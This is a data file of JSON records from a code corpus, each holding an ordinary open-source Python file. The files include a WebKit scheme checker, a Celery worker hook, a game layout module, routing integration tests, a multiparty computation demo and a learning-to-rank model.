+{"seq_id":"11346872486","text":"from __future__ import absolute_import\nfrom collections import namedtuple\nfrom webkitpy.port.config import apple_additions\nfrom xml.dom import minidom\nimport os\n\n\nclass Buildable(namedtuple('Buildable', ('id', 'name', 'project_name', 'action_set'))):\n    def __str__(self):\n        return \"{} (in project '{}', built for: {})\".format(self.name, self.project_name, self.action_set)\n\n\nclass BuildActionSet(namedtuple('BuildActionSet', ('analyze', 'test', 'run', 'profile', 'archive'))):\n    def __str__(self):\n        return ' '.join(\n            key for key, enabled in self._asdict().items() if enabled\n        ) or 'nothing'\n\n\ndef targets_built_for_scheme(scheme_path):\n    dom = minidom.parse(scheme_path)\n    targets = set()\n    for entry_node in dom.getElementsByTagName('BuildActionEntry'):\n        action_set = BuildActionSet(\n            analyze=entry_node.getAttribute('buildForAnalyzing') == 'YES',\n            test=entry_node.getAttribute('buildForTesting') == 'YES',\n            run=entry_node.getAttribute('buildForRunning') == 'YES',\n            profile=entry_node.getAttribute('buildForProfiling') == 'YES',\n            archive=entry_node.getAttribute('buildForArchiving') == 'YES',\n        )\n        for buildable_node in entry_node.getElementsByTagName('BuildableReference'):\n            target_id = buildable_node.getAttribute('BlueprintIdentifier')\n            target_name = buildable_node.getAttribute('BlueprintName')\n            container = buildable_node.getAttribute('ReferencedContainer')\n            project_name, _ = os.path.splitext(os.path.basename(container))\n            targets.add(Buildable(target_id, target_name, project_name, action_set))\n    return targets\n\n\nclass XcodeSchemeChecker:\n    categories = ['xcscheme/sync']\n\n    RULES = {\n        # A scheme rule is a 3-tuple:\n        #       (SCHEME, RELATION, SCHEMES)\n        # where SCHEME is a path to an xcscheme file. RELATION is either \">=\"\n        # (superset) or \"==\" (equality), and relates the lefthand SCHEME to one\n        # or more SCHEMES.\n        #\n        # When SCHEMES is multiple schemes, the union of those schemes'\n        # buildable targets is compared.\n        #\n        # For brevity, rules for schemes in the same workspace are organized\n        # into prefixes, which are the path to the directory containing the\n        # SCHEME.\n\n        'WebKit.xcworkspace/xcshareddata/xcschemes/': (\n            ('Everything up to WebKit + Tools.xcscheme', '>=', 'Everything up to WebKit.xcscheme'),\n            ('Everything up to WebKit + Tools.xcscheme', '>=', 'All WebKit Tools.xcscheme'),\n            ('Everything up to WebKit + Tools.xcscheme', '==', ('Everything up to WebKit.xcscheme', 'All WebKit Tools.xcscheme')),\n        ),\n    }\n\n    def __init__(self, file_path, handle_style_error):\n        self._handle_style_error = handle_style_error\n        self._file_path = file_path\n\n    def check(self, lines, rules=None):\n        rules = rules or self.RULES\n        targets = None  # lazily computed below\n        for path_prefix, predicates in rules.items():\n            if not self._file_path.startswith(path_prefix):\n                continue\n            for path_suffix, relation, other_schemes in predicates:\n                if self._file_path != path_prefix + path_suffix:\n                    continue\n\n                targets = targets or targets_built_for_scheme(self._file_path)\n                if isinstance(other_schemes, str):\n                    # If the rule relates a single scheme, parse its targets,\n                    # then convert it to a tuple so it can be iterated over.\n                    other_targets = targets_built_for_scheme(os.path.join(path_prefix, other_schemes))\n                    other_schemes = (other_schemes,)\n                else:\n                    # If the rule relates to multiple schemes, parse its\n                    # targets into a union set.\n                    other_targets = {target\n                                     for scheme in other_schemes\n                                     for target in targets_built_for_scheme(os.path.join(path_prefix, scheme))}\n\n                comparator, verb_phrase = {\n                    '>=': (set.issuperset, 'be a superset of'),\n                    '==': (set.__eq__, 'be equal to')\n                }[relation]\n\n                if not comparator(targets, other_targets):\n                    msg = \"targets should {} the targets in '{}'\".format(verb_phrase, \"' + '\".join(other_schemes))\n                    difference = other_targets - targets\n                    if difference:\n                        msg += '\\n\\tAdd:\\n\\t- {}'.format('\\n\\t- '.join(map(str, difference)))\n                    if relation == '==' and targets - other_targets:\n                        msg += '\\n\\tRemove:\\n\\t- {}'.format('\\n\\t- '.join(map(str, targets - other_targets)))\n                    self._handle_style_error(0, 'xcscheme/sync', 5, msg)\n","repo_name":"WebKit/WebKit","sub_path":"Tools/Scripts/webkitpy/style/checkers/xcscheme.py","file_name":"xcscheme.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"}
+{"seq_id":"11934489615","text":"from celery.result import AsyncResult\nfrom celery.bootsteps import StartStopStep\n\nfrom lightflow.models.signal import Client, Request, SignalConnection\n\n\nclass WorkerLifecycle(StartStopStep):\n    \"\"\" Class that manages the lifecycle of a worker. \"\"\"\n\n    def stop(self, consumer):\n        \"\"\" This function is called when the worker received a request to terminate.\n\n        Upon the termination of the worker, the workflows for all running jobs are\n        stopped gracefully.\n\n        Args:\n            consumer (Consumer): Reference to the consumer object that handles messages\n                                 from the broker.\n        \"\"\"\n        stopped_workflows = []\n        for request in [r for r in consumer.controller.state.active_requests]:\n            job = AsyncResult(request.id)\n\n            workflow_id = job.result['workflow_id']\n            if workflow_id not in stopped_workflows:\n                client = Client(\n                    SignalConnection(**consumer.app.user_options['config'].signal,\n                                     auto_connect=True),\n                    request_key=workflow_id)\n                client.send(Request(action='stop_workflow'))\n\n                stopped_workflows.append(workflow_id)\n","repo_name":"AustralianSynchrotron/lightflow","sub_path":"lightflow/queue/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"3"}
+{"seq_id":"20896030856","text":"import random\ndef random_matrix(n, m):\n    '''\n    :param n: Кількість рядків\n    :param m: Кількість стовпців\n    :return: Генеруємо матрицю\n    '''\n    return [[random.randint(0, 5) for j in range(m)] for i in range(n)]\nn = int(input('n = '))\nm = int(input('m = '))\na = random_matrix(n, m)\nb = random_matrix(n, m)\nprint('a = {0}'.format(a))\nprint('b = {0}'.format(b))\nfor i in range(len(a)):\n    for j in range(len(a[i])):\n        if a[i][j] == 0:\n            a[i][j] = b[i][j]\nprint('a = {0}'.format(a))\n","repo_name":"LeonidNechay/PythonLabs","sub_path":"Лаб7/Z2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22064532052","text":"import random\nfrom room import create_room\n\nimport logging\nlog = logging.getLogger('layouts')\nclass Layout:\n    curr_x = None\n    curr_y = None\n    curr_room = None\n    def __init__(self, map_data):\n        self.rooms = []\n        self.parse_map(map_data)\n\n\n    def parse_map(self, map_data):\n        #just figure out what's going on, don't instantiate\n        map = []\n        y = 0\n        for row_data in map_data:\n            row = []\n            x = 0\n            for desc in row_data:\n                if desc is None:\n                    row.append((None, None))\n                    continue\n\n                key,_,prop = desc.partition(',')\n                if prop == 'start':\n                    self.start_x = self.curr_x = x\n                    self.start_y = self.curr_y = y\n                filenames = groups[key]\n\n                row.append((filenames, prop))\n                x += 1\n            map.append(row)\n            y += 1\n\n        self.map = map\n\n    def setup(self):\n        #actually load the layout's rooms\n        y = 0\n        for row in self.map:\n            room_row = []\n            x = 0\n            for col in row:\n                filenames, prop = col\n                if filenames is None:\n                    room = None\n                else:\n                    room = create_room(random.choice(filenames), prop=prop)\n                room_row.append(room)\n                x += 1\n            self.rooms.append(room_row)\n            y += 1\n\n        self.curr_room = self.rooms[self.start_y][self.start_x]\n\n    def change_room(self, x, y):\n        log.debug(\"change_room: (%r, %r)\", x, y)\n        log.debug(\"curr: (%r, %r)\", self.curr_x, self.curr_y)\n        old_room = self.curr_room\n        self.curr_x += x\n        self.curr_y += y\n        new_room = self.rooms[self.curr_y][self.curr_x]\n\n        new_px = old_room.player_x\n        new_py = old_room.player_y\n        if x != 0:\n            log.debug('moving x: old=%r',old_room.player_x)\n            if old_room.player_x < old_room.width/2:\n                #they were on the left, put them on the right\n                #note that we use -3 because there's a weirdness in map width\n                new_px = new_room.width - 3\n            else:\n                new_px = 2\n        else:\n            log.debug('moving y: old=%r',old_room.player_y)\n            if old_room.player_y < old_room.height/2:\n                #they were on the top, put them on the bottom\n                new_py = new_room.height - 2\n            else:\n                new_py = 2\n        \n        new_room.move_player(new_px, new_py)\n        self.curr_room = new_room\n\n\ngroups = {\n    #mapping of map \"names\" to one or more files in data/ which count\n    \n    #general tiles\n    'e': ['e-1.ans'],\n    'w': ['w-1.ans'],\n    'n': ['n-1.ans'],\n\n    'ws': None,\n    'ns': ['ns-1.ans'],\n    \n    'wse': ['wse-1.ans'],\n    'nse': ['nse-1.ans'],\n\n    #special tiles\n    'beach': ['beach.ans'],\n    'ruins': ['ruins.ans'],\n    'victory': ['victory.ans']\n}\n\ndef start_layout():\n    return Layout([\n        ['beach,start', 'ruins']\n    ])\n\n#random dungeon layouts\ndungeon_layouts = [\n    Layout([\n        ['e,start',  'wse',  'w,key'],\n        [None,       'ns',  None],\n        [None,       'n,boss',None],\n    ]),\n\n    Layout([['victory,start']]),\n]\n\n\ndef random_layout():\n    layout = dungeon_layouts.pop(0)\n    layout.setup()\n    return layout\n","repo_name":"jtruscott/pyweek13","sub_path":"gamelib/layouts.py","file_name":"layouts.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21768941236","text":"# -*- coding:utf-8 -*-\n'''\nHandle request with voice.\n'''\n\nimport reply\nfrom common import get_logger\nlogger = get_logger()\n\ndef handle_voice(rec_msg):\n    to_user = rec_msg.FromUserName\n    from_user = rec_msg.ToUserName\n    reply_recognition = rec_msg.Recognition\n    reply_msg = reply.TextMsg(to_user, from_user, reply_recognition)\n    return reply_msg\n\nif __name__ == '__main__':\n    handle_voice(None)","repo_name":"lwllvyb/weixin_server","sub_path":"handle_voice.py","file_name":"handle_voice.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71807478160","text":"while True:\n  x = int(input())\n  if x == 0:\n    break\n  sum = 0\n  for i in range(1, 6):\n    if x % 2 != 0: x = x + 1\n    sum += x\n    x += 2\n  print(sum)\n  \n  ","repo_name":"lucasbbs/URI","sub_path":"1159 - Sum of Consecutive Even Numbers.py","file_name":"1159 - Sum of Consecutive Even Numbers.py","file_ext":"py","file_size_in_byte":159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31304781496","text":"import xml.etree.ElementTree as ET\n\ndef main():\n    tree = ET.parse('Address_Points.osm')\n    root = tree.getroot()\n\n    for node in root:\n        for tag in node:\n            key = tag.attrib['k']\n            value = tag.attrib['v']\n            if key == 'addr:postcode':\n                if len(value) == 9:\n                    tag.set('v', value[:5] + '-' + value[5:])\n    tree.write('Address_Points2.osm')\nif __name__ == '__main__':\n    main()","repo_name":"kaneap/mil-co-address-import","sub_path":"zipcodes.py","file_name":"zipcodes.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17483047705","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.db.models.deletion\nimport mkt.translations.models\nimport mkt.translations.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('translations', '__first__'),\n        ('websites', '0002_website_tv_url'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='website',\n            name='developer_name',\n            field=mkt.translations.fields.TranslatedField(related_name='Website_developer_name_set+', null=True, on_delete=django.db.models.deletion.SET_NULL, db_column=b'developer_name', to_field=b'id', blank=True, to=mkt.translations.models.Translation, short=True, require_locale=True, unique=True),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"mozilla/zamboni","sub_path":"mkt/websites/migrations/0003_website_developer_name.py","file_name":"0003_website_developer_name.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"}
+{"seq_id":"36900659376","text":"import tkinter as tk\n\n\n# Code here\nclass Home:\n\n    def __init__(self):\n        self.window = tk.Tk()\n\n\nif __name__ == '__main__':\n    window = tk.Tk()\n    print(window.winfo_screenwidth(), window.winfo_screenheight())\n    window.geometry('250x250+400+300') # can also set the position of the window\n    label = tk.Label(window, text=\"Hello tkinter\")\n    label.pack()\n    window.update()\n    print(window.winfo_width(), window.winfo_height())\n    window.mainloop()\n","repo_name":"aparece1241/PythonFirebaseApplication","sub_path":"views/pages/Home.py","file_name":"Home.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29256064047","text":"from datetime import timedelta, datetime\n\nimport pytest\nimport requests\n\nfrom maps.b2bgeo.ya_courier.backend.test_lib.util import (\n    entity_equal,\n    env_get_request, env_post_request,\n    api_path_with_company_id,\n    )\n\nCOURIER_ID = None\n\nTEST_COURIER = {\n    \"name\": \"Flash\",\n    \"number\": \"TEST_ROUTE_JAMS_COURIER\",\n    \"sms_enabled\": False\n}\n\nTEST_DEPOT = {\n    'number': 'TEST_ROUTE_JAMS_DEPOT',\n    'name': 'Склад 1',\n    'address': 'ул. Льва Толстого, 16',\n    'time_interval': '0.00:00-23:59',\n    'lat': 55.7447,\n    'lon': 37.6727,\n    'description': 'курьерский подъезд',\n    'service_duration_s': 600,\n    'order_service_duration_s': 10\n}\n\nROUTE = {\n    'number': 'TEST_ROUTE_JAMS',\n    'courier_number': 'TEST_ROUTE_JAMS_COURIER',\n    'depot_number': 'TEST_ROUTE_JAMS_DEPOT',\n    'date': '2018-01-12'\n}\n\nORDERS = [\n    {\n        'number': 'TEST_ROUTE_JAMS_1',\n        'address': 'Ленинская слобода, 4',\n        'lat': 55.712394,\n        'lon': 37.662021,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_2',\n        'address': 'Автозаводская улица, 17к1',\n        'lat': 55.704422,\n        'lon': 37.654146,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_3',\n        'address': 'улица Трофимова, 4',\n        'lat': 55.703137,\n        'lon': 37.662665,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_4',\n        'address': 'улица Ленинская Слобода, 30с1',\n        'lat': 55.705440,\n        'lon': 37.647495,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_5',\n        'address': 'Велозаводская улица, 7',\n        'lat': 55.712999,\n        'lon': 37.666528,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_6',\n        'address': 'Автозаводская улица, 6',\n        'lat': 55.709086,\n        'lon': 37.660670,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_7',\n        'address': 'Сокольники',\n        'lat': 55.791521,\n        'lon': 37.661366,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_8',\n        'address': 'Хамовники',\n        'lat': 55.726377,\n        'lon': 37.567124,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_9',\n        'address': 'Тверской район',\n        'lat': 55.756107,\n        'lon': 37.627893,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_10',\n        'address': 'Таганский район',\n        'lat': 55.742940,\n        'lon': 37.672010,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_11',\n        'address': 'Якиманка',\n        'lat': 55.734127,\n        'lon': 37.614846,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_12',\n        'address': 'МКАД, 107 км',\n        'lat': 55.791928,\n        'lon': 37.841492,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_13',\n        'address': 'МКАД, 87 км',\n        'lat': 55.900931,\n        'lon': 37.623044,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_14',\n        'address': 'МКАД, 70 км',\n        'lat': 55.846988,\n        'lon': 37.391617,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_15',\n        'address': 'МКАД, 46 км',\n        'lat': 55.649909,\n        'lon': 37.446456,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_16',\n        'address': 'МКАД, 29 км',\n        'lat': 55.572369,\n        'lon': 37.656781,\n    },\n    {\n        'number': 'TEST_ROUTE_JAMS_17',\n        'address': 'МКАД, 17 км',\n        'lat': 55.633290,\n        'lon': 37.808849,\n    },\n]\n\nfor order in ORDERS:\n    order.update({\n        'route_number': 'TEST_ROUTE_JAMS',\n        'time_interval': '00:00 - 23:59',\n        'status': 'new',\n        'phone': '+79161111111',\n    })\n\nORDERS_DICT = {order['number']: order for order in ORDERS}\nORDERS_ID_DICT = {}\n\nLOCATION = {\n    'lat': 55.811264,\n    'lon': 37.503887,\n}\n\nSOLUTION_ID = None\n\n# {weekday: [hour0, hour1, ... hour23]} in seconds\nREFERENCE = {\n    0: [22748, 22687, 22876, 24333, 27577, 31128, 30501, 30966, 31981, 32624, 32434, 32966, 32722, 31884, 31551, 30937,\n        30951, 30178, 29895, 29522, 28396, 28140, 28194, 28269],\n    1: [23513, 24231, 23896, 25620, 29362, 30897, 30750, 32328, 33061, 32532, 32808, 34199, 33335, 32836, 32918, 32650,\n        32186, 31256, 31060, 30451, 30011, 29495, 29495, 29495],\n    2: [23786, 23533, 23862, 24618, 25890, 29392, 30885, 31587, 32574, 33545, 34450, 35106, 34991, 34562, 34659, 34492,\n        34243, 32345, 31957, 31412, 30957, 30393, 30393, 30393],\n    3: [24227, 23903, 24249, 26866, 27869, 29528, 31029, 31924, 32463, 33641, 34626, 35061, 34541, 34195, 34662, 34182,\n        34008, 33032, 32629, 31732, 31014, 30451, 30451, 30451],\n    4: [24288, 23937, 24245, 24729, 27693, 29095, 29969, 31036, 32566, 33351, 34226, 34913, 34481, 34178, 34515, 34359,\n        34180, 32623, 31797, 31140, 30496, 29812, 29812, 29812],\n    5: [24662, 24508, 24713, 24603, 24461, 24416, 24377, 24377, 24377, 24377, 24377, 24377, 24377, 24377, 24565, 24767,\n        25251, 25666, 25579, 27067, 27499, 28023, 28023, 28023],\n    6: [23505, 23524, 23555, 23892, 23859, 23874, 23860, 23860, 23860, 23860, 23860, 23860, 23860, 23860, 23959, 24085,\n        24223, 24264, 24862, 25248, 25441, 25591, 25591, 25591],\n}\n\n\ndef get_routed_orders(hour_of_day, system_env_with_db):\n    response = env_get_request(\n        system_env_with_db,\n        'couriers/{}/routes/{}/routed-orders?lat={}&lon={}&time_now={}:00'.format(\n            COURIER_ID, ROUTE['id'], LOCATION['lat'], LOCATION['lon'] + hour_of_day * 10 ** -6, hour_of_day\n        )\n    )\n\n    if response.status_code != requests.codes.ok:\n        print(response.text)\n\n    assert response.status_code == requests.codes.ok\n\n    j = response.json()\n\n    global SOLUTION_ID\n    assert 'solution_id' in j\n    SOLUTION_ID = j['solution_id']\n    assert 'metrics' in j\n    assert 'route' in j\n\n    return j\n\n\ndef get_route_state(system_env_with_db):\n    response = env_get_request(\n        system_env_with_db,\n        '{}/route-state?courier_number={}&date={}'.format(\n            api_path_with_company_id(system_env_with_db),\n            ROUTE['courier_number'],\n            ROUTE['date']))\n\n    if response.status_code != requests.codes.ok:\n        print(response.text)\n\n    assert response.status_code == requests.codes.ok\n\n    j = response.json()\n    state = j\n\n    assert 'location' in state\n    assert 'solution' in state\n    assert 'fixed_orders' in state\n    assert 'routed_orders' in state\n    assert SOLUTION_ID == state['solution']['id']\n\n    return state\n\n\ndef format_time(seconds):\n    return str(timedelta(seconds=int(seconds)))\n\n\ndef mse(x, y):\n    assert len(x)\n    assert len(x) == len(y)\n    return sum([(x[i] - y[i]) ** 2 for i in range(len(x))]) / len(x)\n\n\n@pytest.mark.skip(reason=\"Depends on current router state, too unstable\")\nclass TestRoutingJams(object):\n    #\n    # Initialization\n    #\n    def test_prepare(self, system_env_with_db):\n        if system_env_with_db.existing:\n            return\n        response = env_post_request(\n            system_env_with_db,\n            '{}/couriers'.format(api_path_with_company_id(system_env_with_db)),\n            data=TEST_COURIER)\n        assert response.ok, response.text\n\n        response = env_post_request(\n            system_env_with_db,\n            '{}/depots'.format(api_path_with_company_id(system_env_with_db)),\n            data=TEST_DEPOT)\n        assert response.ok, response.text\n\n    def test_routes_batch(self, system_env_with_db):\n        response = env_post_request(\n            system_env_with_db,\n            '{}/routes-batch'.format(api_path_with_company_id(system_env_with_db)),\n            data=[ROUTE, ])\n        j = response.json()\n        print(j)\n\n        assert response.status_code == requests.codes.ok\n        assert j['inserted'] + j['updated'] == 1\n\n    def test_get_route_id(self, system_env_with_db):\n        global ROUTE, COURIER_ID\n        response = env_get_request(\n            system_env_with_db,\n            '{}/routes?number={}'.format(\n                api_path_with_company_id(system_env_with_db), ROUTE['number']))\n        j = response.json()\n        print(j)\n\n        assert response.status_code == requests.codes.ok\n        assert len(j) == 1\n        assert entity_equal(j[0], ROUTE)\n        ROUTE['id'] = j[0]['id']\n        COURIER_ID = j[0]['courier_id']\n\n    def test_orders_batch(self, system_env_with_db):\n        response = env_post_request(\n            system_env_with_db,\n            '{}/orders-batch'.format(api_path_with_company_id(system_env_with_db)),\n            data=ORDERS)\n        j = response.json()\n        print(j)\n\n        assert response.status_code == requests.codes.ok\n        assert j['inserted'] + j['updated'] == len(ORDERS)\n\n    def test_get_order_ids(self, system_env_with_db):\n        global ORDERS_ID_DICT\n        for o in ORDERS:\n            response = env_get_request(\n                system_env_with_db,\n                '{}/orders?number={}'.format(api_path_with_company_id(system_env_with_db), o['number']))\n            j = response.json()\n            print(j)\n\n            assert response.status_code == requests.codes.ok\n            assert len(j) == 1\n            assert entity_equal(j[0], o)\n            o['id'] = j[0]['id']\n\n        ORDERS_ID_DICT = {o['id']: o for o in ORDERS}\n\n    #\n    # Jams test\n    #\n\n    def test_jams(self, system_env_with_db):\n        weekday = datetime.today().weekday()\n\n        eta = [0] * len(REFERENCE[weekday])\n\n        print('hour\\tETA\\treference\\tdiff\\tsolution_id')\n\n        for i in range(len(REFERENCE[weekday])):\n            j = get_routed_orders(i, system_env_with_db)\n\n            assert j['metrics']['dropped_locations_count'] == 0\n            for o in j['route']:\n                assert entity_equal(o, ORDERS_DICT[o['number']])\n\n            state = get_route_state(system_env_with_db)\n            eta[i] = state.get('solution', {}).get('metrics', {}).get('total_duration_s', 0)\n\n            print(\n                '{:3d}\\t{}\\t{}\\t{}\\t{}'.format(\n                    i,\n                    format_time(eta[i]),\n                    format_time(REFERENCE[weekday][i]),\n                    ('-' if eta[i] - REFERENCE[weekday][i] < 0 else ' ')\n                    + format_time(abs(eta[i] - REFERENCE[weekday][i])),\n                    state.get('solution', {}).get('id')\n                )\n            )\n\n            assert state['solution']['solver_status'] == 'SOLVED'\n            assert set(state['next_orders']) == set(\n                o['id']\n                for o in ORDERS\n                if ORDERS_ID_DICT[o['id']]['status'] in ('new', 'confirmed')\n            )\n\n        print('MSE: {:,.0f}'.format(mse(eta, REFERENCE[weekday])).replace(',', ' '))\n\n        # MSE(no jams, jams) ~= 11 * 10 ** 6 (fail)\n        # MSE(jams1, jams2) ~= 0.7 * 10 ** 6 (OK)\n        assert mse(eta, REFERENCE[weekday]) < 4 * 10 ** 6\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_routing_jams.py","file_name":"test_routing_jams.py","file_ext":"py","file_size_in_byte":10847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34211087175","text":"from congregation import create_column, lang, Assemble\nimport sys\nimport json\n\n\ndef protocol():\n\n    # 3 columns for party 1\n    a = create_column(\"a\", \"INTEGER\")\n    b = create_column(\"b\", \"INTEGER\")\n    c = create_column(\"c\", \"INTEGER\")\n\n    # 3 columns for party 2\n    d = create_column(\"d\", \"INTEGER\")\n    e = create_column(\"e\", \"INTEGER\")\n    f = create_column(\"f\", \"INTEGER\")\n\n    # 3 columns for party 3\n    g = create_column(\"g\", \"INTEGER\")\n    h = create_column(\"h\", \"INTEGER\")\n    i = create_column(\"i\", \"INTEGER\")\n\n    # create all input relations\n    rel_one = lang.create(\"in1\", [a, b, c], {1})\n    rel_two = lang.create(\"in2\", [d, e, f], {2})\n    rel_three = lang.create(\"in3\", [g, h, i], {3})\n\n    # concatenate input relations\n    cc = lang.concat([rel_one, rel_two, rel_three], \"cc\")\n\n    # simple sum aggregation over column \"a\", grouped by the values\n    # from column \"b\".\n    # note that since we didn't explicitly pass column names to concat(),\n    # the columns in its output relation were named according to the first\n    # relation in its input (here, relation rel_one).\n    agg = lang.aggregate(cc, \"agg\", [\"b\"], \"a\", \"sum\")\n\n    # reveal output to parties 1, 2, and 3\n    lang.collect(agg, {1, 2, 3})\n\n    # return the workflow's root nodes\n    return {rel_one, rel_two, rel_three}\n\n\ncfg = json.loads(open(sys.argv[1], \"r\").read())\ncfg[\"jiff\"][\"jiff_lib_path\"] = sys.argv[2]\n\n# the Assemble class (at congregation/assemble/assemble.py) exposes\n# all the main steps related to workflow generation and dispatching\na = Assemble()\na.generate_and_dispatch(protocol, cfg)\n","repo_name":"multiparty/congregation","sub_path":"demo/plaintext/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"38124531362","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom Mmetrics import *\n\nclass MLTRData(Dataset):\n    def __init__(self, fm, lv):\n        self.feature = fm\n        self.labels = lv\n        self.dev = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n        if torch.cuda.is_available():\n            self.torch_ = torch.cuda\n        else:\n            self.torch_ = torch\n            \n    def _get_tensor(self, arr):\n        return self.torch_.FloatTensor(arr, device=self.dev)\n\n    def __len__(self):\n        return self.labels.shape[0] - 1\n    def __getitem__(self, i):\n        feature = self._get_tensor(self.feature[i,:])\n        labels = self._get_tensor(self.labels[i:i+1])\n        return feature, labels\n    \n\nclass DNN(nn.Module):\n    def __init__(self, layers_size, dropout):\n        super(DNN, self).__init__()\n        layers = []\n        for i in range(len(layers_size)-2):\n            layers.append(nn.Linear(layers_size[i], layers_size[i+1], bias=True))\n            if dropout is not None:\n                layers.append(nn.Dropout(p=dropout, inplace=True))\n            layers.append(nn.ReLU(inplace=True))\n        layers.append(nn.Linear(layers_size[-2], layers_size[-1], bias=False))\n        self.layers = nn.Sequential(*layers)\n        if torch.cuda.is_available():\n            self.layers.cuda()\n    \n    def forward(self, x):\n        return self.layers(x)\n\n    def train_batch(self, x, y, optimizer, loss_fn):\n        self.train()\n        optimizer.zero_grad()\n        # print(x.shape)\n        # print(y.shape)\n        out = self.forward(x)#[:,0]\n        # print(out.shape)\n        loss = loss_fn(out, y)\n        loss.backward()\n\n        optimizer.step()\n\n        return loss\n\nclass MSE_model():\n    def __init__(self, layers, optimizer, lr, dropout):\n        self.net = DNN(layers, dropout)\n        self.opt = optimizer(self.net.parameters(), lr=lr)\n\n    def fit(self, dataset, epochs, batch_size, shuffle=True, verbose=True):\n        train_data = MLTRData(dataset.trfm, dataset.trlv)\n        dl = DataLoader(train_data, batch_size=batch_size, shuffle=shuffle)\n        \n        loss_fn_ = torch.nn.MSELoss()\n        loss_fn = lambda out, y: loss_fn_(out, torch.sigmoid(y))\n\n        for epoch in range(epochs):\n            loss = []\n            for (x,y) in dl:\n                batch_loss = self.net.train_batch(x, y, self.opt, loss_fn)\n                loss.append(batch_loss.data.cpu()) \n\n            if verbose:\n                self.net.eval()\n                y_pred = self.net(train_data._get_tensor(dataset.tefm)).data.cpu().numpy()[:,0]\n                ndcg = LTRMetrics(dataset.telv,np.diff(dataset.tedlr),y_pred)\n                y_trpred = self.net(train_data._get_tensor(dataset.trfm)).data.cpu().numpy()[:,0]\n                trndcg = LTRMetrics(dataset.trlv,np.diff(dataset.trdlr),y_pred)\n                print(f'epoch {epoch} -> loss: {np.array(loss).mean()}, train ndcg@10: {trndcg.NDCG(10)}, ndcg@10: {ndcg.NDCG(10)}')\n        \n    def predict(self, fm, dlr):\n        y = self.net(MLTRData(None, None)._get_tensor(fm))\n        y = torch.sigmoid(y)\n        return y.data.cpu().numpy()[:,0]\n","repo_name":"AliVard/PPG","sub_path":"LTR.py","file_name":"LTR.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29255248977","text":"from library.python import resource\nimport yt.yson as yson\n\nfrom maps.analyzer.services.eta_comparison.lib.get_route_data import GisRouteDataParser\n\n\ndef test_router_parser():\n    parser = GisRouteDataParser()\n    response = yson.loads(resource.find('2gis_response'))\n    geometry, dist, time = parser.parse(response)\n    geometry = [[*point] for point in geometry]  # format to array\n\n    assert geometry == yson.loads(resource.find('2gis_expected_geometry'))\n    assert dist == 10267\n    assert time == 892\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_get_route_data.py","file_name":"test_get_route_data.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
